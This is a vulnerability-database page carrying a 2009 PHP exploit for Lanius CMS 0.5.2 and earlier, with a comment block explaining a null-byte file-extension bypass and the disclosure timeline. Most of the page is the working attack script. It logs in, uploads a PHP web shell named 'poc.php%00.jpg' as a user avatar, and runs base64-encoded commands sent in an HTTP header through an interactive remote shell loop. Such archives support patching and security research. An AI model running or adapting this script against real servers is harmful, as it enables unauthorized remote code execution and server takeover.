Lucene search
K

Lanius CMS <= 0.5.2 - Remote Arbitrary File Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit. Vulnerability affects Drake CM

Code

                                                &#60;?php

/*
	--------------------------------------------------------
	Lanius CMS &#60;= 0.5.2 Remote Arbitrary File Upload Exploit
	--------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.laniuscms.org/
	details..: this vulnerability affects all Drake CMS &#62;= 0.4.6 and Lanius CMS &#60;= 0.5.2 r1050
 
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.

	[-] vulnerable code in /includes/upload.php (in_upload() function)

	52.		if ($file_sz &#62; $max_sz )
	53.			return sprintf(_UPLOAD_TOO_BIG, convert_bytes($file_sz), convert_bytes($max_sz));
	54.			
	55.		$thy_name = basename(urldecode($_FILES[$elem][&#39;name&#39;]));
	56.		if (isset($allowed_ext)) {
	57.			$ext = file_ext($thy_name);
	58.			if (($ext===&#39;&#39;) || (!in_array($ext, $allowed_ext)))
	59.				return sprintf(_UPLOAD_DISALLOWED_EXT, implode(&#39;, &#39;,$allowed_ext));
	60.		}
	61.		$orig_name = $thy_name;

	[-] file_ext() function defined into /includes/functions.php

	101.	function file_ext($file)
	102.	{
	103.		$p = strrpos($file, &#39;.&#39;);
	104.		if ($p===false)return &#39;&#39;;
	105.		return strtolower(substr($file,$p+1));
	106.	}

	Cause of the uploaded filename is passed to urldecode() function is possibile to inject a null
	char to bypass the extension&#39;s check. This is possibile because strrpos() function, used into
	file_ext() function, is binary-safe, so by passing a filename e.g. test.php%00.jpg this function
	returns &#39;jpg&#39;, but the file will be saved as test.php by move_uploadad_file() function.

	[-] Disclosure timeline:
		
	[05/04/2009] - Bug discovered
	[06/04/2009] - Vendor contacted
	[06/04/2009] - Vendor replied
	[07/04/2009] - Fix released: http://www.laniuscms.org/?option=content&id=81
	[07/04/2009] - Public disclosure
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
	if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
	  die(&#34;\nsocket_create(): &#34; . socket_strerror($s) . &#34;\n&#34;);

	if (socket_connect($s, $host, 80) == false)
	  die(&#34;\nsocket_connect(): &#34; . socket_strerror(socket_last_error()) . &#34;\n&#34;);

	socket_write($s, $packet, strlen($packet));
	while ($m = socket_read($s, 2048)) $response .= $m;

	socket_close($s);
	return $response;
}

function login()
{
	global $host, $path, $username, $password, $sid;
	
	print &#34;\n[-] Logging in with username &#39;{$username}&#39; and password &#39;{$password}&#39;\n&#34;;
	
	$payload = &#34;username={$username}&password={$password}&task=login&#34;;
	$packet  = &#34;POST {$path}?option=login HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
	$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	$packet .= $payload;

	$response = http_send($host, $packet);
	preg_match(&#34;/PHPSESSID=([0-9a-f]{32})/i&#34;, $response, $match);
	$sid = $match[1];
	
	if (!preg_match(&#34;/Location: index.php/i&#34;, $response))
		die(&#34;[-] Incorrect username/password\n&#34;);
}

function upload()
{
	global $host, $path, $sid, $username, $password;

	login();
	
	$avatar = &#34;media/forum/avatars/custom/poc.php&#34;;
	$params = array(&#39;user_name&#39; =&#62; $username,
					&#39;user_password_orig&#39; =&#62; $password,
					&#39;user_email&#39; =&#62; &#39;[email protected]&#39;,
					&#39;btnsubmit&#39; =&#62; &#39;Update&#39;,
					&#39;task&#39; =&#62; &#39;update&#39;);

	foreach ($params as $name =&#62; $value)
		$payload .= &#34;--o0oOo0o\r\nContent-Disposition: form-data; name=\&#34;{$name}\&#34;\r\n\r\n{$value}\r\n&#34;;

	$payload .= &#34;--o0oOo0o\r\nContent-Disposition: form-data; name=\&#34;user_uploaded_avatar\&#34;; filename=\&#34;poc.php%00.jpg\&#34;\r\n&#34;;
	$payload .= &#34;Content-Type: image/jpeg\r\n\r\n&#34;;
	$payload .= &#34;&#60;?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?&#62;\r\n&#34;;
	$payload .= &#34;--o0oOo0o--\r\n&#34;;
	
	$packet  = &#34;POST {$path}?option=user HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Cookie: PHPSESSID={$sid}\r\n&#34;;
	$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
	$packet .= &#34;Content-Type: multipart/form-data; boundary=o0oOo0o\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	$packet .= $payload;

	http_send($host, $packet);

	$packet  = &#34;GET {$path}{$avatar} HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;

	if (preg_match(&#39;/200 OK/i&#39;, http_send($host, $packet)))
		return $avatar;

	die(&#34;[-] Upload failed\n&#34;);
}

print &#34;\n+------------------------------------------------------------------+&#34;;
print &#34;\n| Lanius CMS &#60;= 0.5.2 Remote Arbitrary File Upload Exploit by EgiX |&#34;;
print &#34;\n+------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 5)
{
	print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62; &#60;username&#62; &#60;password&#62;\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost / user pass&#34;;
	print &#34;\nExample....: php $argv[0] localhost /lanius/ user pass\n\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];
$username = $argv[3];
$password = $argv[4];

$path .= upload();

$packet  = &#34;GET {$path} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
	print &#34;\nlanius-shell# &#34;;
	if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match(&#34;/_code_/&#34;, $response) ? print array_pop(explode(&#34;_code_&#34;, $response)) : die(&#34;\n[-] Exploit failed\n&#34;);
}

?&#62;

# milw0rm.com [2009-04-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation